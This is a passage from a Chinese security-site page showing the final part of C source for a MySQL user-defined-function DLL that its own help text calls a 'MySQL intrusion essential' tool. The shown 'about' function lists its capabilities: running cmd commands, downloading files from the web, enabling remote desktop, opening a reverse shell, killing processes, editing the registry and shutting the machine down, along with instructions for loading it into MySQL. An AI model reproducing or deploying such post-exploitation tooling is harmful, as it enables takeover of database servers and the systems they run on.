|
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论 UDF_ARGS *args,char *result,
unsigned long *length,char *is_null, char *error)
{
initid->ptr=(char *)malloc(2000);
if(initid->ptr==NULL)return NULL;
memset(initid->ptr,0,2000);
strcat(initid->ptr,"mysql 入侵必备dll 版本1.0.0.1\r\n\r\n");
strcat(initid->ptr,"注意:要使用本dll你必须有对mysql的insert和delete权限以创建和删除函数。
\r\n\r\n");
strcat(initid->ptr,"使用方法:\r\n");
strcat(initid->ptr,"创建函数:create function 函数名(区分大小写) returns string soname \"dll名\"
(注意路径);\r\n");
strcat(initid->ptr,"删除函数:delete function 函数名;\r\n");
strcat(initid->ptr,"使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名(\"help\");
\r\n");
strcat(initid->ptr,"--------------------------------------------------------------------\r\n");
strcat(initid->ptr,"本dll包含的函数:\r\n");
strcat(initid->ptr,"cmdshell 执行cmd;\r\n");
strcat(initid->ptr,"downloader 下载者,到网上下载指定文件并保存到指定目录;\r\n");
strcat(initid->ptr,"open3389 通用开3389终端服务,可指定端口(不改端口无需重启);\r\n");
strcat(initid->ptr,"backshell 反弹Shell;\r\n");
strcat(initid->ptr,"ProcessView 枚举系统进程;\r\n");
strcat(initid->ptr,"KillProcess 终止指定进程;\r\n");
strcat(initid->ptr,"regread 读注册表;\r\n");
strcat(initid->ptr,"regwrite 写注册表;\r\n");
strcat(initid->ptr,"shut 关机,注销,重启;\r\n");
strcat(initid->ptr,"about 本函数;\r\n");
strcat(initid->ptr,"--------------------------------------------------------------------\r\n");
strcat(initid->ptr,"DLL中的每个函数都经多次测试,不太可能会造成MYSQL假死等现象,但也不
排除在特殊环境、特殊输入下出错的可能性.\r\n");
strcat(initid->ptr,"使用过程中发现的bug可和我联系QQ:185826531(langouster)\r\n");
strcat(initid->ptr,"源程序公开,可以任意修改和添加功能,散布源程序请注明原作者.\r\n\r\n");
strcat(initid->ptr,"特别声明:本程序只供技术研究之用,不正当使用程序造成的后果作者概不负
责!");
*length=strlen(initid->ptr);
return initid->ptr;
}
extern "C" __declspec(dllexport)void about_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
} 上一页 [1] [2] [3] [4]
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力 |